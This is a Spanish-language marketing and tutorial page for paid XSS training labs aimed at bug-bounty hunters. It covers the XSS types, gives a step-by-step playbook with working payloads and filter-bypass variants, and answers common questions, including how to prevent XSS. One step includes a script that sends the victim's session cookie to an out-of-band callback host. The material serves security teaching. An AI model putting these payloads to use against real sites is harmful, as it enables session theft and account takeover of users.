Nuevos labs cada semana — Accede a todos desde 7,99€/mes

"}]}

Labs de XSS

Cross-Site Scripting (XSS)

¿Qué es XSS?

El Cross-Site Scripting (XSS) permite inyectar scripts maliciosos en páginas web que otros usuarios visitan. Es una de las vulnerabilidades más reportadas en bug bounty y puede llevar a robo de sesiones, phishing y account takeover.

¿Por qué practicar XSS?

El XSS representa una gran proporción de los reportes en HackerOne y Bugcrowd. Dominar sus variantes (Stored, Reflected, DOM, Blind) te permite encontrar bugs que otros hunters pasan por alto. Los bounties por XSS van desde $50 hasta $10,000+ dependiendo del impacto y el endpoint afectado.

¿Qué aprenderás con los labs de XSS?

Aprenderás a identificar contextos vulnerables (HTML, atributo, JS, URL, JSON), construir payloads que escapen sanitizadores reales (DOMPurify, framework filters), abusar de gadgets en el DOM y demostrar impacto end-to-end con cookie theft, account takeover y CSRF chaining.

Tipos de XSS que cubrimos

  • Reflected XSS

    El payload se refleja desde la URL/input en la respuesta del servidor sin sanitizar. Suele requerir interacción del usuario (clic en enlace).

  • Stored XSS

    El payload se guarda en base de datos (comentarios, perfil, mensajes) y se ejecuta para todos los usuarios que vean el recurso. Mayor impacto.

  • DOM-based XSS

    La inyección ocurre 100% en el navegador (sinks como innerHTML, document.write, eval). Invisible al servidor — bypassea WAFs tradicionales.

  • Blind XSS

    El payload se ejecuta en un panel privado (admin, soporte) que el atacante no ve directamente. Se detecta con callbacks (XSS Hunter, Burp Collaborator).

  • Self-XSS escalado

    XSS que afecta solo al propio atacante, escalado a víctima vía login CSRF, bot interno o SVG upload. Patrón clásico en reportes recientes.

¿Cómo encontrar y explotar XSS?

Playbook práctico — del recon a la prueba de concepto.

  1. 1

    Sembrar un marcador único

    Inyecta un canario inofensivo con caracteres de ruptura en cada parámetro reflejado y búscalo en la respuesta. Te dice si tu input llega sin codificar y en qué contexto cae.

    bbtest'"><svg/
  2. 2

    Identificar el contexto de inyección

    Mira dónde aterriza el canario: dentro de HTML, de un atributo, de un bloque <script>, de una URL o de JSON. Cada contexto necesita un payload distinto para romperse.

    <input value="bbtest">  →  necesitas cerrar el atributo: "><img...>
  3. 3

    Romper el contexto y ejecutar

    Cierra el tag/atributo y dispara un evento que no requiera <script> (suelen estar filtrados). onerror/onload son los más fiables.

    "><img src=x onerror=alert(document.domain)>
  4. 4

    Bypassear el sanitizador

    Si DOMPurify o el WAF filtran lo obvio, prueba tags/eventos menos comunes, mutaciones de mXSS, mayúsculas mezcladas o SVG/MathML.

    <details open ontoggle=alert(document.domain)>  ·  <svg><animate onbegin=alert(1) attributeName=x dur=1s>
  5. 5

    Probar un sink DOM

    Para DOM XSS, busca en el JS sinks como innerHTML, document.write, location o eval alimentados por location.hash/search sin sanitizar.

    https://target/#<img src=x onerror=alert(document.domain)>
  6. 6

    Demostrar impacto real

    No te quedes en alert(1). Exfiltra la cookie de sesión o haz una acción autenticada para subir la severidad y el bounty. Para blind XSS usa un callback.

    "><script>new Image().src='//x.oast.fun/c?'+document.cookie</script>

Aprende la teoría

Academy: Cross-Site Scripting (XSS)

Preguntas frecuentes

¿Qué es un XSS?

Cross-Site Scripting es una vulnerabilidad que permite inyectar JavaScript en una web para que se ejecute en el navegador de otros usuarios, con la sesión y los permisos de la víctima.

¿Cómo se explota un XSS?

Se inyecta un payload (p. ej. "><img src=x onerror=alert(document.domain)>) en un parámetro que la app refleja sin codificar. Cuando la víctima carga esa página, el código corre en su contexto y puede robar cookies, hacer peticiones autenticadas o tomar el control de la cuenta.

¿Cómo encontrar XSS en bug bounty?

Fuzzea todos los parámetros reflejados con un canario como bbtest'"><svg, identifica el contexto donde cae y construye el payload que lo rompa. Para blind XSS, planta payloads con callback (XSS Hunter, Burp Collaborator) en campos que verá un admin o soporte.

¿Cómo prevenir XSS?

Codifica la salida según el contexto (HTML, atributo, JS, URL), usa frameworks con auto-escaping, sanitiza HTML enriquecido con DOMPurify y despliega una Content-Security-Policy estricta sin 'unsafe-inline'.

¿Diferencia entre XSS reflejado, stored y DOM?

El reflejado rebota tu input desde la petición a la respuesta y requiere un enlace. El stored se guarda en BBDD y afecta a todo el que vea el recurso (mayor impacto). El DOM ocurre íntegramente en el navegador vía sinks JS, sin que el servidor vea nunca el payload.

Empieza con labs de XSS

Practica Cross-Site Scripting (XSS) con labs basados en reportes reales. En español. Desde 7,99€/mes.

Empieza con el primer lab de XSS